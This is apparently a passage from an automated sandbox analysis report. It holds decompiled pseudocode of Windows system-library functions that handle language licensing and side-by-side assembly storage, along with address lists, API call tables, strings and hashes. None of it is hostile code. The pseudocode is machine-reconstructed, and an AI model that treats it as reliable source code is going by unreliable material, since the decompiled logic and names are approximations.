							_v16 = _t277;
						}
						_t199 = _v8;
						if(_t199 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t277, _t199);
						}
						_v8 = _t277;
						goto L28;
					}
				}
				_t210 = _v12;
				_t26 = _t210 + 4; // 0xeef2
				_t260 = _t26;
				_v40 = _t260;
				if(_t260 == 0) {
					_v20 = _t277;
				} else {
					_t230 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t260);
					_t277 = _t230;
					_v20 = _t230;
					_t210 = _v12;
				}
				if(_t277 == 0) {
					_t161 = 0;
					_t277 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					memcpy(_t277, _v8, _t210);
					_t282 = _t282 + 0xc;
					_v48 = _t277;
					_t280 = wcspbrk(_t277, 0x6d224e90);
					if(_t280 != 0) {
						_t239 = _v48;
						do {
							 *_t280 = 0;
							_t281 = _t280 + 2;
							RtlInitUnicodeString( &_v68, _t239);
							if(E6D2543C0( &_v68,  &_v24) != 0) {
								_t272 = _t272 + 1;
							}
							_t239 = _t281;
							_t280 = wcspbrk(_t281, 0x6d224e90);
						} while (_t280 != 0);
						_v48 = _t239;
						_t236 = _v52;
					}
					_t219 = _v48;
					_t277 = 0;
					if( *_t219 != 0) {
						RtlInitUnicodeString( &_v68, _t219);
						if(E6D2543C0( &_v68,  &_v24) != 0) {
							_t272 = _t272 + 1;
						}
					}
					if(_t272 == 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t277, _v20);
						_v40 = _t277;
						_v20 = _t277;
					}
					_t220 = _v8;
					if(_t220 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t277, _t220);
					}
					_v8 = _t277;
					goto L16;
				}
			}

0x6d253d3c
0x6d253d42
0x6d253d44
0x6d253d46
0x6d253d49
0x6d253d4c
0x6d253d4f
0x6d253d52
0x6d253d55
0x6d253d58
0x6d253d5b
0x6d253d5f
0x6d253d61
0x6d253d66
0x6d2a8213
0x6d2a8218
0x6d254085
0x6d254088
0x6d25408e
0x6d254094
0x6d25409a
0x6d2540a0
0x6d2540a6
0x6d2540a9
0x6d2540af
0x6d2540b6
0x6d2540bd
0x6d2540bd
0x6d253d83
0x6d2a821f
0x6d2a8229
0x6d2a8238
0x6d2a8238
0x6d2a823d
0x6d2a823d
0x6d253da0
0x6d253da2
0x6d253daf
0x6d253db5
0x6d253dba
0x6d253dba
0x6d253dd4
0x6d253e94
0x6d253eab
0x6d253f6d
0x6d253f84
0x6d25406b
0x6d25406b
0x6d25406e
0x6d25406e
0x6d254070
0x6d254074
0x6d2a8351
0x6d2a8351
0x6d25407a
0x6d25407f
0x6d2a835d
0x6d2a8370
0x6d2a8377
0x6d2a8379
0x6d2a837c
0x6d2a837c
0x6d2a835d
0x00000000
0x6d25407f
0x6d253f8a
0x6d253f8d
0x6d253f8d
0x6d253f90
0x6d253f95
0x6d2a830d
0x6d2a830f
0x6d253f9b
0x6d253fac
0x6d253fae
0x6d253fb1
0x6d253fb1
0x6d253fb6
0x6d2a8317
0x6d2a831a
0x00000000
0x6d253fbc
0x6d253fc1
0x6d253fc9
0x6d253fd7
0x6d253fdd
0x6d254021
0x6d254021
0x6d254029
0x6d254030
0x6d254044
0x6d254046
0x6d254046
0x6d254044
0x6d254049
0x6d2a8327
0x6d2a8334
0x6d2a8339
0x6d2a833c
0x6d25404f
0x6d25404f
0x6d25404f
0x6d254051
0x6d254056
0x6d254063
0x6d254063
0x6d254068
0x00000000
0x6d254068
0x6d253fdf
0x6d253fe2
0x6d253fe4
0x6d253fe7
0x6d253fef
0x6d254003
0x6d254005
0x6d254005
0x6d25400c
0x6d254013
0x6d254017
0x6d25401b
0x6d25401e
0x00000000
0x6d25401e
0x6d253fb6
0x6d253eb1
0x6d253eb4
0x6d253eb4
0x6d253eb7
0x6d253ebc
0x6d2a82a9
0x6d2a82ab
0x6d253ec2
0x6d253ed3
0x6d253ed5
0x6d253ed8
0x6d253ed8
0x6d253edd
0x6d2a82b3
0x6d2a82b6
0x00000000
0x6d253ee3
0x6d253ee8
0x6d253eed
0x6d253ef0
0x6d253ef3
0x6d253f02
0x6d253f08
0x6d2a82c0
0x6d2a82c3
0x6d2a82c5
0x6d2a82c8
0x6d2a82d0
0x6d2a82e4
0x6d2a82e6
0x6d2a82e6
0x6d2a82ed
0x6d2a82f4
0x6d2a82f8
0x6d2a82fc
0x6d2a82ff
0x6d2a82ff
0x6d253f0e
0x6d253f11
0x6d253f16
0x6d253f1d
0x6d253f31
0x6d2a8307
0x6d2a8307
0x6d253f31
0x6d253f39
0x6d253f48
0x6d253f4d
0x6d253f50
0x6d253f50
0x6d253f53
0x6d253f58
0x6d253f65
0x6d253f65
0x6d253f6a
0x00000000
0x6d253f6a
0x6d253edd
0x6d253dda
0x6d253ddd
0x6d253ddd
0x6d253de0
0x6d253de5
0x6d2a8245
0x6d253deb
0x6d253df7
0x6d253dfc
0x6d253dfe
0x6d253e01
0x6d253e01
0x6d253e06
0x6d2a824d
0x6d2a824f
0x6d2a8254
0x00000000
0x6d253e0c
0x6d253e11
0x6d253e16
0x6d253e19
0x6d253e29
0x6d253e2f
0x6d2a825c
0x6d2a825f
0x6d2a8261
0x6d2a8264
0x6d2a826c
0x6d2a8280
0x6d2a8282
0x6d2a8282
0x6d2a8289
0x6d2a8290
0x6d2a8294
0x6d2a8298
0x6d2a829b
0x6d2a829b
0x6d253e35
0x6d253e38
0x6d253e3d
0x6d253e44
0x6d253e58
0x6d2a82a3
0x6d2a82a3
0x6d253e58
0x6d253e60
0x6d253e6f
0x6d253e74
0x6d253e77
0x6d253e77
0x6d253e7a
0x6d253e7f
0x6d253e8c
0x6d253e8c
0x6d253e91
0x00000000
0x6d253e91

APIs

Part of subcall function 6D251B8F: RtlInitUnicodeString.1105(6D3366C0,WindowsExcludedProcs,00000000,00000000,0000EEEE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D251BCA
Part of subcall function 6D251B8F: ZwQueryLicenseValue.1105(6D3366C0,00000000,00000000,00000000,0000EEEE,6D3366C0,WindowsExcludedProcs,00000000,00000000,0000EEEE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D251BD7
Part of subcall function 6D251B8F: RtlAllocateHeap.1105(?,00000008,00000000,6D3366C0,00000000,00000000,00000000,0000EEEE,6D3366C0,WindowsExcludedProcs,00000000,00000000,0000EEEE,6D3366C0,0000EEEE,00000002), ref: 6D251C00
Part of subcall function 6D251B8F: ZwQueryLicenseValue.1105(6D3366C0,00000002,00000000,0000EEEE,0000EEEE,?,00000008,00000000,6D3366C0,00000000,00000000,00000000,0000EEEE,6D3366C0,WindowsExcludedProcs,00000000), ref: 6D251C16

RtlFreeHeap.1105(?,00000000,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D2A8238

Part of subcall function 6D251B8F: RtlFreeHeap.1105(?,00000000,00000000,6D3366C0,00000002,00000000,0000EEEE,0000EEEE,?,00000008,00000000,6D3366C0,00000000,00000000,00000000,0000EEEE), ref: 6D2A7026

RtlFreeHeap.1105(?,00000000,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253DB5
RtlAllocateHeap.1105(?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253DF7
memcpy.1105(00000000,00000000,0000EEEE,?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87), ref: 6D253E11
wcspbrk.1105(00000000,6D224E90,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E24
RtlInitUnicodeString.1105(00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E44
RtlCultureNameToLCID.1105(00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E51
RtlFreeHeap.1105(?,00000000,?,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E6F
RtlFreeHeap.1105(?,00000000,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253E8C
RtlAllocateHeap.1105(?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000), ref: 6D253ECE
memcpy.1105(00000000,00000000,0000EEEE,?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE), ref: 6D253EE8
wcspbrk.1105(00000002,6D224E90,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253EFD
RtlInitUnicodeString.1105(00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253F1D
RtlCultureNameToLCID.1105(00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253F2A

Part of subcall function 6D2543C0: memcpy.1105(?,00000000,00000000,00000000,00000000,00000001), ref: 6D254424
Part of subcall function 6D2543C0: _wcsicmp.1105(MUI,?,00000000,00000000,00000001), ref: 6D2544A9

RtlFreeHeap.1105(?,00000000,00000002,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253F48
RtlFreeHeap.1105(?,00000000,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253F65
RtlAllocateHeap.1105(?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,6D3366C0,0000EEEE,00000002), ref: 6D253FA7
memcpy.1105(00000000,00000000,0000EEEE,?,00000008,0000EEF2,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000,0000EEEE,00000000), ref: 6D253FC1
wcspbrk.1105(00000000,6D224E90,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253FD2
RtlInitUnicodeString.1105(00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253FEF
RtlCultureNameToLCID.1105(00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D253FFC
wcspbrk.1105(-00000002,6D224E90,00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D25400E
RtlInitUnicodeString.1105(00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D254030
RtlCultureNameToLCID.1105(00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D25403D
RtlFreeHeap.1105(?,00000000,00000000,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D254063
RtlInitUnicodeString.1105(00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D2A82D0
RtlCultureNameToLCID.1105(00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D2A82DD
wcspbrk.1105(-00000002,6D224E90,00000000,6D2571B4,00000000,6D256DDE,6D3366C0,0000EEEE,00000002,6D24DB87,00000000,00000FFF), ref: 6D2A82EF

Strings

WindowsExcludedProcs, xrefs: 6D253D6F
Kernel-MUI-Language-Disallowed, xrefs: 6D253E97
Kernel-MUI-Language-SKU, xrefs: 6D253F70
Kernel-MUI-Language-Allowed, xrefs: 6D253DC0
Kernel-MUI-Number-Allowed, xrefs: 6D253D8C

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$InitStringUnicode$CultureNamewcspbrk$Allocatememcpy$LicenseQueryValue$_wcsicmp
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 3889363205-258546922
Opcode ID: 16061682f7a434adb5e0d10802babe07c6d3c2bf0b4b54c8ca082b4247763faf
Instruction ID: 7cbc87221837ef3053e612d8276a864599933b5761611b2671b6385e05ee3c7b
Opcode Fuzzy Hash: 16061682f7a434adb5e0d10802babe07c6d3c2bf0b4b54c8ca082b4247763faf
Instruction Fuzzy Hash: 43F16D72D9465DEBCB12CF98C980EEEBBB8FF08750F15406AE914A7210D7349E51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D27C9BF, Relevance: 51.2, APIs: 18, Strings: 11, Instructions: 412
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6D27C9BF(void* __ecx, signed int __edx, signed int _a4, intOrPtr _a12) {
				signed int _v12;
				char _v552;
				char _v1072;
				char _v1073;
				signed int _v1080;
				signed int _v1084;
				signed short _v1088;
				void* _v1092;
				signed short _v1094;
				char _v1096;
				char _v1100;
				intOrPtr _v1104;
				void* _v1108;
				char _v1112;
				char _v1116;
				signed short _v1120;
				char _v1124;
				char* _v1128;
				char _v1132;
				char _v1135;
				char _v1136;
				void* _v1140;
				char _v1144;
				intOrPtr _v1148;
				short _v1150;
				char _v1152;
				void* _v1156;
				char* _v1160;
				char _v1164;
				void* _v1168;
				void* _v1172;
				intOrPtr _v1176;
				void* _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1192;
				intOrPtr _v1196;
				char* _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t166;
				void* _t170;
				wchar_t* _t184;
				signed short _t188;
				char _t199;
				intOrPtr _t200;
				signed int _t205;
				signed int _t207;
				intOrPtr _t218;
				short _t219;
				char _t236;
				char _t242;
				signed int _t253;
				intOrPtr _t258;
				void* _t260;
				signed int _t264;
				void* _t272;
				void* _t276;
				unsigned int _t277;
				signed short _t279;
				signed int _t280;
				void* _t281;
				void* _t305;

				_t271 = __edx;
				_v12 =  *0x6d33d360 ^ _t280;
				_t253 = _a4;
				_v1104 = _a12;
				_t272 = __ecx;
				_v1160 =  &_v1072;
				_v1168 = __ecx;
				_t166 = 0;
				_v1073 = 0;
				_v1084 = 0;
				_t274 = 0;
				_v1156 = 0;
				_v1164 = 0x2080000;
				_v1096 = 0;
				_v1092 = 0;
				_v1112 = 0;
				_v1108 = 0;
				_v1100 = 0;
				if(__ecx == 0) {
					L67:
					_push(_t166);
					_push(_t253);
					_push(_t271);
					_push(_t272);
					E6D2D5720(0x33, 0, "SXS: %s() bad parameters\nSXS:   Map                : %p\nSXS:   Data               : %p\nSXS:   AssemblyRosterIndex: 0x%lx\nSXS:   Map->AssemblyCount : 0x%lx\n", "RtlpResolveAssemblyStorageMapEntry");
					_t274 = 0xc000000d;
					L21:
					if(_v1073 == 0) {
						L23:
						if(_v1092 != 0) {
							E6D24AD30(_v1092);
						}
						L24:
						if(_v1084 != 0) {
							_push(_v1084);
							E6D2895D0();
						}
						_t170 = _v1156;
						if(_t170 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t170);
						}
						L26:
						return E6D28B640(_t274, _t253, _v12 ^ _t280, _t271, _t272, _t274);
					}
					L22:
					_v1144 = _v1100;
					E6D27CCC0(4,  &_v1144, _v1104);
					goto L23;
				}
				if(__edx == 0 || _t253 < 1 || _t253 >  *((intOrPtr*)(__ecx + 4))) {
					_t166 =  *((intOrPtr*)(_t272 + 4));
					goto L67;
				} else {
					if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 8)) + _t253 * 4)) != 0) {
						goto L26;
					}
					asm("lfence");
					_t258 =  *((intOrPtr*)(__edx + 0x18));
					_t260 =  *((intOrPtr*)(_t258 + __edx + 0x10)) + __edx;
					_t276 =  *((intOrPtr*)(_t253 * 0x18 +  *((intOrPtr*)(_t258 + __edx + 0xc)) + __edx + 0x10)) + __edx;
					_t181 =  *((intOrPtr*)(_t276 + 0x50));
					if( *((intOrPtr*)(_t276 + 0x50)) > 0xfffe) {
						_push(__edx);
						E6D2D5720(0x33, 0, "SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p\n", _t181);
						_t274 = 0xc0000106;
						goto L23;
					}
					if(( *(_t276 + 4) & 0x00000010) != 0) {
						_v1080 =  &_v1164;
						_t272 =  *((intOrPtr*)(_t276 + 0x18)) + _t260;
						if(_t272 != 0) {
							_t184 = wcsrchr(_t272, 0x5c);
							if(_t184 != 0) {
								_t188 = 0x00000004 + (_t184 - _t272 >> 0x00000001) * 0x00000002 & 0x0000ffff;
								_v1088 = _t188;
								_t277 = _t188 & 0x0000ffff;
								if(_t188 <= 0x208) {
									_t264 = _v1080;
									L39:
									memcpy( *(_t264 + 4), _t272, _t277 - 2);
									_t281 = _t281 + 0xc;
									 *((short*)( *((intOrPtr*)(_v1080 + 4)) + (_t277 >> 1) * 2 - 2)) = 0;
									 *_v1080 = _v1088 + 0xfffffffe;
									L18:
									if(_v1084 == 0) {
										if(E6D256A00( *((intOrPtr*)(_v1080 + 4)),  &_v1112, 0,  &_v1184) != 0) {
											_v1156 = _v1108;
											_t199 = _v1184;
											if(_t199 == 0) {
												_t200 = 0;
											} else {
												_v1112 = _t199;
												_v1108 = _v1180;
												_t200 = _v1176;
											}
											_v1192 = _v1192 & 0x00000000;
											_v1188 = _v1188 & 0x00000000;
											_v1204 = _t200;
											_push(0x21);
											_v1200 =  &_v1112;
											_push(3);
											_push( &_v1216);
											_v1208 = 0x18;
											_push( &_v1208);
											_push(0x100020);
											_v1196 = 0x40;
											_push( &_v1084);
											_t205 = E6D289830();
											_t272 = _v1172;
											_t274 = _t205;
											if(_t272 != 0) {
												asm("lock xadd [edi], eax");
												if((_t205 | 0xffffffff) == 0) {
													_push( *((intOrPtr*)(_t272 + 4)));
													E6D2895D0();
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t272);
												}
											}
											if(_t274 >= 0) {
												goto L19;
											} else {
												_push(_t274);
												E6D2D5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n",  *((intOrPtr*)(_v1080 + 4)));
												goto L21;
											}
										}
										E6D2D5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n",  *((intOrPtr*)(_v1080 + 4)));
										_t274 = 0xc000003a;
										goto L21;
									}
									L19:
									_t271 = _t253;
									_t207 = E6D27CE6C(_v1168, _t253, _v1080,  &_v1084);
									_t274 = _t207;
									if(_t207 < 0) {
										E6D2D5720(0x33, 0, "SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx\n", _t274);
									} else {
										_t274 = 0;
									}
									goto L21;
								}
								_v1094 = _t188;
								_t218 = E6D263A1C(_t277);
								_v1092 = _t218;
								if(_t218 != 0) {
									_t264 =  &_v1096;
									_v1080 = _t264;
									goto L39;
								}
								_t274 = 0xc0000017;
								goto L24;
							}
							_t274 = 0xc00000e5;
							goto L23;
						}
						_t274 = 0xc00000e5;
						goto L26;
					}
					_v1080 = _v1080 & 0x00000000;
					_t219 =  *((intOrPtr*)(_t276 + 0x50));
					_v1152 = _t219;
					_v1150 = _t219;
					_v1144 = __edx;
					_v1148 =  *((intOrPtr*)(_t276 + 0x54)) + _t260;
					_v1140 = _t253;
					_v1128 =  &_v552;
					_v1136 = 0;
					_v1132 = 0x2160000;
					_v1124 = 0;
					_v1116 = 0;
					_v1120 = 0;
					E6D27CCC0(1,  &_v1144, _v1104);
					if(_v1116 != 0) {
						_t274 = 0xc0000120;
						goto L23;
					}
					if(_v1124 != 0) {
						_t271 =  &_v1132;
						_t274 = E6D27CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 >= 0) {
							_t271 = _t253;
							_t274 = E6D27CE6C(_t272, _t253,  &_v1132,  &_v1084);
							if(_t274 < 0) {
								_push(_t274);
								_push(_t253);
								_push("SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx\n");
								L44:
								_push(0);
								_push(0x33);
								E6D2D5720();
								goto L23;
							}
							_t274 = 0;
							goto L23;
						}
						_push(_t274);
						_push( &_v1132);
						_push("SXS: Attempt to probe known root of assembly storage (\"%wZ\") failed; Status = 0x%08lx\n");
						goto L44;
					}
					_t279 = _v1120;
					_t272 = 0;
					_t236 = _v1136;
					_v1100 = _t236;
					_v1088 = _t279;
					_v1073 = 1;
					if(_t279 == 0) {
						L16:
						_t305 = _t272 - _t279;
						L17:
						if(_t305 == 0) {
							L54:
							_push(_t272);
							E6D2D5720(0x33, 0, "SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries\n",  &_v1152);
							_t274 = 0xc0150004;
							goto L22;
						}
						goto L18;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_v1144 = _t236;
						_v1128 =  &_v552;
						_v1140 = _t272;
						_v1132 = 0x2160000;
						_v1136 = 0;
						E6D27CCC0(2,  &_v1144, _v1104);
						if(_v1136 != 0) {
							break;
						}
						_t242 = _v1132;
						if(_v1135 != 0) {
							if(_t242 == 0) {
								goto L54;
							}
							_t119 = _t272 + 1; // 0x1
							_t279 = _t119;
							_v1088 = _t279;
						}
						if(_t242 == 0) {
							L27:
							_t272 = _t272 + 1;
							if(_t272 >= _t279) {
								goto L17;
							} else {
								_t236 = _v1100;
								continue;
							}
						}
						if(_v1084 != 0) {
							_push(_v1084);
							E6D2895D0();
							_v1084 = _v1084 & 0x00000000;
						}
						_t271 =  &_v1132;
						_t274 = E6D27CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 < 0) {
							if(_t274 != 0xc0150004) {
								_push(_t274);
								_push( &_v1152);
								E6D2D5720(0x33, 0, "SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx\n",  &_v1132);
								goto L22;
							}
							_t279 = _v1088;
							goto L27;
						} else {
							_t279 = _v1088;
							goto L16;
						}
					}
					_t274 = 0xc0000120;
					goto L22;
				}
			}

0x6d27c9bf
0x6d27c9d1
0x6d27c9d8
0x6d27c9dc
0x6d27c9e9
0x6d27c9eb
0x6d27c9f3
0x6d27c9f9
0x6d27c9fb
0x6d27ca01
0x6d27ca07
0x6d27ca09
0x6d27ca0f
0x6d27ca19
0x6d27ca1f
0x6d27ca25
0x6d27ca2b
0x6d27ca31
0x6d27ca39
0x6d2bac23
0x6d2bac23
0x6d2bac24
0x6d2bac25
0x6d2bac26
0x6d2bac34
0x6d2bac3c
0x6d27cc3c
0x6d27cc43
0x6d27cc65
0x6d27cc6c
0x6d2bac4c
0x6d2bac4c
0x6d27cc72
0x6d27cc79
0x6d2bac56
0x6d2bac5c
0x6d2bac5c
0x6d27cc7f
0x6d27cc87
0x6d2bac72
0x6d2bac72
0x6d27cc8d
0x6d27cc9f
0x6d27cc9f
0x6d27cc45
0x6d27cc51
0x6d27cc60
0x00000000
0x6d27cc60
0x6d27ca41
0x6d2bac20
0x00000000
0x6d27ca59
0x6d27ca5f
0x00000000
0x00000000
0x6d27ca65
0x6d27ca68
0x6d27ca76
0x6d27ca7c
0x6d27ca7e
0x6d27ca86
0x6d2ba8ea
0x6d2ba8f5
0x6d2ba8fd
0x00000000
0x6d2ba8fd
0x6d27ca90
0x6d2ba90d
0x6d2ba916
0x6d2ba918
0x6d2ba927
0x6d2ba930
0x6d2ba94c
0x6d2ba94f
0x6d2ba955
0x6d2ba95b
0x6d2ba98c
0x6d2ba992
0x6d2ba99a
0x6d2ba9a9
0x6d2ba9af
0x6d2ba9c3
0x6d27cc09
0x6d27cc10
0x6d2bab03
0x6d2bab2f
0x6d2bab35
0x6d2bab3e
0x6d2bab5a
0x6d2bab40
0x6d2bab40
0x6d2bab4c
0x6d2bab52
0x6d2bab52
0x6d2bab5c
0x6d2bab63
0x6d2bab6a
0x6d2bab76
0x6d2bab78
0x6d2bab84
0x6d2bab86
0x6d2bab8d
0x6d2bab97
0x6d2bab98
0x6d2baba3
0x6d2babad
0x6d2babae
0x6d2babb3
0x6d2babb9
0x6d2babbd
0x6d2babc2
0x6d2babc6
0x6d2babc8
0x6d2babcb
0x6d2babdc
0x6d2babdc
0x6d2babc6
0x6d2babe3
0x00000000
0x6d2babe9
0x6d2babef
0x6d2babfc
0x00000000
0x6d2bac01
0x6d2babe3
0x6d2bab17
0x6d2bab1f
0x00000000
0x6d2bab1f
0x6d27cc16
0x6d27cc29
0x6d27cc2b
0x6d27cc30
0x6d27cc34
0x6d2bac13
0x6d27cc3a
0x6d27cc3a
0x6d27cc3a
0x00000000
0x6d27cc34
0x6d2ba95e
0x6d2ba965
0x6d2ba96a
0x6d2ba972
0x6d2ba97e
0x6d2ba984
0x00000000
0x6d2ba984
0x6d2ba974
0x00000000
0x6d2ba974
0x6d2ba932
0x00000000
0x6d2ba932
0x6d2ba91a
0x00000000
0x6d2ba91a
0x6d27ca96
0x6d27ca9d
0x6d27caa7
0x6d27caae
0x6d27caba
0x6d27cac0
0x6d27cace
0x6d27cad4
0x6d27cae3
0x6d27cae9
0x6d27caf3
0x6d27caf9
0x6d27caff
0x6d27cb05
0x6d27cb11
0x6d2ba9cb
0x00000000
0x6d2ba9cb
0x6d27cb1e
0x6d2ba9f8
0x6d2baa03
0x6d2baa07
0x6d2baa36
0x6d2baa47
0x6d2baa4b
0x6d2baa18
0x6d2baa19
0x6d2baa1a
0x6d2baa1f
0x6d2baa1f
0x6d2baa21
0x6d2baa23
0x00000000
0x6d2baa28
0x6d2baa4d
0x00000000
0x6d2baa4d
0x6d2baa09
0x6d2baa10
0x6d2baa11
0x00000000
0x6d2baa11
0x6d27cb24
0x6d27cb2a
0x6d27cb2c
0x6d27cb32
0x6d27cb38
0x6d27cb3e
0x6d27cb47
0x6d27cc01
0x6d27cc01
0x6d27cc03
0x6d27cc03
0x6d2baac0
0x6d2baac0
0x6d2baad1
0x6d2baad9
0x00000000
0x6d2baad9
0x00000000
0x00000000
0x00000000
0x00000000
0x6d27cb4d
0x6d27cb4d
0x6d27cb53
0x6d27cb5f
0x6d27cb6e
0x6d27cb74
0x6d27cb7e
0x6d27cb87
0x6d27cb93
0x00000000
0x00000000
0x6d27cba0
0x6d27cba7
0x6d2baa57
0x00000000
0x00000000
0x6d2baa59
0x6d2baa59
0x6d2baa5c
0x6d2baa5c
0x6d27cbb0
0x6d27cca2
0x6d27cca2
0x6d27cca5
0x00000000
0x6d27ccab
0x6d27ccab
0x00000000
0x6d27ccab
0x6d27cca5
0x6d27cbbd
0x6d2baa67
0x6d2baa6d
0x6d2baa72
0x6d2baa72
0x6d27cbe6
0x6d27cbf1
0x6d27cbf5
0x6d2baa84
0x6d2baa91
0x6d2baa98
0x6d2baaa9
0x00000000
0x6d2baaae
0x6d2baa86
0x00000000
0x6d27cbfb
0x6d27cbfb
0x00000000
0x6d27cbfb
0x6d27cbf5
0x6d2baab6
0x00000000
0x6d2baab6

APIs

DbgPrintEx.1105(00000033,00000000,SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p,?,?,?,00000000,00000002), ref: 6D2BA8F5

Part of subcall function 6D27CCC0: memcpy.1105(6D224F84,?,6D256167,00000040,?,?), ref: 6D27CD56

DbgPrintEx.1105(00000033,00000000,SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx,?,00000000,02160000,?,?,02080000,?,00000000,?,00000001,?,?,?), ref: 6D2BAA23
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx,RtlpResolveAssemblyStorageMapEntry,00000040,?,00000000,00000000,?,00000000,00000002), ref: 6D2BAC34
RtlDeleteBoundaryDescriptor.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6D2BAC4C
ZwClose.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6D2BAC5C
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001), ref: 6D2BAC72

Strings

SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6D2BABF3
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 6D2BA8EC
@, xrefs: 6D2BABA3
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 6D2BAC0A
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 6D2BAAC8
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 6D2BAAA0
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 6D2BAA1A
